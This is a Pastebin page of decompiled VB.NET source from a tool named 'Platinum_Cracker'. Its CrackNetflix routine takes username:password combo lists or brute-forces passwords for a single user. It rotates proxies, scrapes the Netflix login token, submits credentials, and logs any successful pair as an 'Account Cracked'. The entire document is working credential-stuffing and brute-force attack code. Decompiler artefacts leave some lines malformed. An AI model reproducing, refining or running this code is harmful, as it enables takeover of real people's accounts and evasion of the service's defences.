Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ' Platinum_Cracker.Form1
- Private Sub CrackNetflix()
- Dim closure$__ As Form1._Closure$__9 = New Form1._Closure$__9(closure$__)
- closure$__.$VB$Me = Me
- New Random(DateAndTime.Now.Millisecond)
- closure$__.$VB$Local_Account = String.Empty
- closure$__.$VB$Local_Username = String.Empty
- closure$__.$VB$Local_Password = String.Empty
- Dim webHeaderCollection As WebHeaderCollection = New WebHeaderCollection()
- webHeaderCollection.Add(HttpRequestHeader.AcceptLanguage, "en-US,en;q=0.5")
- webHeaderCollection.Add(HttpRequestHeader.AcceptEncoding, "gzip, deflate")
- Dim regex As Regex = New Regex("authURL"" value=""(.+?)""")
- While True
- If Me.BruteforcerCracked Then
- Dim threadLocker As Object = Me.ThreadLocker
- ObjectFlowControl.CheckForSyncLockOnValueType(threadLocker)
- SyncLock threadLocker
- Me.CrackerClosedThreads += 1
- If Me.CrackerClosedThreads > Me.CrackerTotalThreads Then
- AddressOf Me.UpTimer1.[Stop]()
- End If
- GoTo IL_77
- End SyncLock
- Continue While
- End If
- IL_77:
- If Me.Bruteforcer Then
- closure$__.$VB$Local_Username = AddressOf AddressOf Me.TextBox1.Text
- closure$__.$VB$Local_Password = Me.GetPassword()
- If String.IsNullOrEmpty(closure$__.$VB$Local_Password) Then
- Exit While
- End If
- Else
- closure$__.$VB$Local_Account = Me.GetAccount()
- If String.IsNullOrEmpty(closure$__.$VB$Local_Account) Then
- GoTo IL_5FE
- End If
- If Not closure$__.$VB$Local_Account.Contains(":") Then
- Continue While
- End If
- closure$__.$VB$Local_Username = closure$__.$VB$Local_Account.Split(New Char()() { ":" })(0)
- closure$__.$VB$Local_Password = closure$__.$VB$Local_Account.Split(New Char()() { ":" })(1)
- End If
- Dim response As Form1.RequestInfo
- Dim text As String
- While True
- Dim proxy As WebProxy = Me.GetProxy()
- If Me.Cancel Then
- GoTo Block_12
- End If
- Dim cookies As CookieContainer = New CookieContainer()
- Dim request As HttpWebRequest
- If Me.UseProxys Then
- request = Me.CreateRequest("https://www.netflix.com/Login?locale=en-GB", cookies, "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "", Nothing, False, "application/x-www-form-urlencoded", proxy)
- Else
- request = Me.CreateRequest("https://www.netflix.com/Login?locale=en-GB", cookies, "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "", Nothing, False, "application/x-www-form-urlencoded", Nothing)
- End If
- response = Me.GetResponse(request)
- If Not response.Success Then
- Debug.Print("Unable to load main page.")
- Else
- text = Me.ReadResponse(response.Response)
- If text.Contains("Sorry, Netflix is not available in your country yet.") Then
- Debug.Print("proxy not supported")
- Else
- If Not regex.IsMatch(text) Then
- Debug.Print("Authencity token was not found.")
- Else
- Dim value As String = regex.Match(text).Groups(1).Value
- If Me.UseProxys Then
- request = Me.CreateRequest("https://www.netflix.com/Login?locale=en-GB&nextpage=http%3A%2F%2Fwww.netflix.com%2FWiHome", cookies, "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "https://www.netflix.com/Login?locale=en-GB&nextpage=http%3A%2F%2Fwww.netflix.com%2FWiHome", webHeaderCollection, True, "application/x-www-form-urlencoded", proxy)
- Else
- request = Me.CreateRequest("https://www.netflix.com/Login?locale=en-GB&nextpage=http%3A%2F%2Fwww.netflix.com%2FWiHome", cookies, "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "https://www.netflix.com/Login?locale=en-GB&nextpage=http%3A%2F%2Fwww.netflix.com%2FWiHome", webHeaderCollection, True, "application/x-www-form-urlencoded", Nothing)
- End If
- If Not Me.WriteToRequest(request, Encoding.[Default].GetBytes(String.Concat(New String()() { "authURL=", HttpUtility.UrlEncode(value), "%3D&email=", HttpUtility.UrlEncode(closure$__.$VB$Local_Username), "&password=", HttpUtility.UrlEncode(closure$__.$VB$Local_Password), "&RememberMe=on" }))) Then
- Debug.Print("Error writing to request")
- Else
- response = Me.GetResponse(request)
- If response.Success Then
- Exit While
- End If
- Debug.Print("Error reading login response: " + response.Ex.Message)
- End If
- End If
- End If
- End If
- End While
- text = Me.ReadResponse(response.Response)
- If text.Contains("Netflix - Member Login | Sign In To Your Account") Then
- Me.Invoke(New MethodInvoker(Sub()
- Me.AccountsChecked += 1
- End Sub))
- If Me.Bruteforcer Then
- Me.Invoke(New MethodInvoker(Sub()
- AddressOf AddressOf Me.Label8.Text = "Passwords Checked: " + Conversions.ToString(Me.AccountsChecked)
- End Sub))
- Me.Invoke(New MethodInvoker(Sub()
- Dim ProgrssBar As ProgrssBar = AddressOf Me.ProgrssBar1
- AddressOf ProgrssBar.Value += Me.FinalProgressBarNumber
- End Sub))
- Else
- Me.Invoke(New MethodInvoker(Sub()
- AddressOf AddressOf Me.Label5.Text = "Accounts Checked: " + Conversions.ToString(Me.AccountsChecked)
- End Sub))
- Me.Invoke(New MethodInvoker(Sub()
- Dim ProgrssBar As ProgrssBar = AddressOf Me.ProgrssBar2
- AddressOf ProgrssBar.Value += Me.FinalProgressBarNumber
- End Sub))
- End If
- Else
- If Not text.Contains("<head><title>Netflix</title>") Then
- Debug.Print("Unable to determing if login was successful.")
- Me.Invoke(New MethodInvoker(Sub()
- Me.AccountsChecked += 1
- End Sub))
- If Me.Bruteforcer Then
- Me.Invoke(New MethodInvoker(Sub()
- AddressOf AddressOf Me.Label8.Text = "Passwords Checked: " + Conversions.ToString(Me.AccountsChecked)
- End Sub))
- Me.Invoke(New MethodInvoker(Sub()
- Dim ProgrssBar As ProgrssBar = AddressOf Me.ProgrssBar1
- AddressOf ProgrssBar.Value += Me.FinalProgressBarNumber
- End Sub))
- Else
- Me.Invoke(New MethodInvoker(Sub()
- AddressOf AddressOf Me.Label5.Text = "Accounts Checked: " + Conversions.ToString(Me.AccountsChecked)
- End Sub))
- Me.Invoke(New MethodInvoker(Sub()
- Dim ProgrssBar As ProgrssBar = AddressOf Me.ProgrssBar2
- AddressOf ProgrssBar.Value += Me.FinalProgressBarNumber
- End Sub))
- End If
- Else
- Me.Invoke(New MethodInvoker(Sub()
- Me.AccountsChecked += 1
- End Sub))
- Me.Invoke(New MethodInvoker(Sub()
- Me.AccountsCracked += 1
- End Sub))
- If Me.Bruteforcer Then
- Me.Invoke(New MethodInvoker(Sub()
- AddressOf AddressOf Me.Label8.Text = "Passwords Checked: " + Conversions.ToString(Me.AccountsChecked)
- End Sub))
- Me.Invoke(New MethodInvoker(Sub()
- Dim ProgrssBar As ProgrssBar = AddressOf Me.ProgrssBar1
- AddressOf ProgrssBar.Value += Me.FinalProgressBarNumber
- End Sub))
- Else
- Me.Invoke(New MethodInvoker(Sub()
- AddressOf AddressOf Me.Label5.Text = "Accounts Checked: " + Conversions.ToString(Me.AccountsChecked)
- End Sub))
- Me.Invoke(New MethodInvoker(Sub()
- Dim ProgrssBar As ProgrssBar = AddressOf Me.ProgrssBar2
- AddressOf ProgrssBar.Value += Me.FinalProgressBarNumber
- End Sub))
- End If
- If Me.Bruteforcer Then
- Me.BruteforcerCracked = True
- Interaction.MsgBox("Account Cracked!" & vbCrLf + closure$__.$VB$Local_Username + ":" + closure$__.$VB$Local_Password, MsgBoxStyle.OkOnly, "Account Cracked")
- Me.Invoke(New MethodInvoker(Sub()
- AddressOf closure$__.$VB$Me.ListBox1.Items.Add(closure$__.$VB$Local_Username + ":" + closure$__.$VB$Local_Password)
- End Sub))
- Else
- Me.Invoke(New MethodInvoker(Sub()
- AddressOf AddressOf Me.Label4.Text = "Accounts Cracked: " + Conversions.ToString(Me.AccountsCracked)
- End Sub))
- Me.Invoke(New MethodInvoker(Sub()
- AddressOf closure$__.$VB$Me.ListBox1.Items.Add(closure$__.$VB$Local_Account)
- End Sub))
- End If
- End If
- End If
- End While
- Dim threadLocker2 As Object = Me.ThreadLocker
- ObjectFlowControl.CheckForSyncLockOnValueType(threadLocker2)
- SyncLock threadLocker2
- Me.CrackerClosedThreads += 1
- If Me.CrackerClosedThreads > Me.CrackerTotalThreads Then
- AddressOf Me.UpTimer.[Stop]()
- Interaction.MsgBox("Password not in list!", MsgBoxStyle.OkOnly, Nothing)
- End If
- Return
- End SyncLock
- GoTo IL_5FE
- Block_12:
- GoTo IL_65D
- IL_5FE:
- Dim threadLocker3 As Object = Me.ThreadLocker
- ObjectFlowControl.CheckForSyncLockOnValueType(threadLocker3)
- SyncLock threadLocker3
- Me.CrackerClosedThreads += 1
- If Me.CrackerClosedThreads > Me.CrackerTotalThreads Then
- AddressOf Me.UpTimer.[Stop]()
- Interaction.MsgBox("End of list.", MsgBoxStyle.OkOnly, Nothing)
- End If
- Return
- End SyncLock
- IL_65D:
- Dim threadLocker4 As Object = Me.ThreadLocker
- ObjectFlowControl.CheckForSyncLockOnValueType(threadLocker4)
- SyncLock threadLocker4
- Me.CrackerClosedThreads += 1
- If Me.CrackerClosedThreads > Me.CrackerTotalThreads Then
- Interaction.MsgBox("Stopped cracking!", MsgBoxStyle.OkOnly, Nothing)
- End If
- End SyncLock
- End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement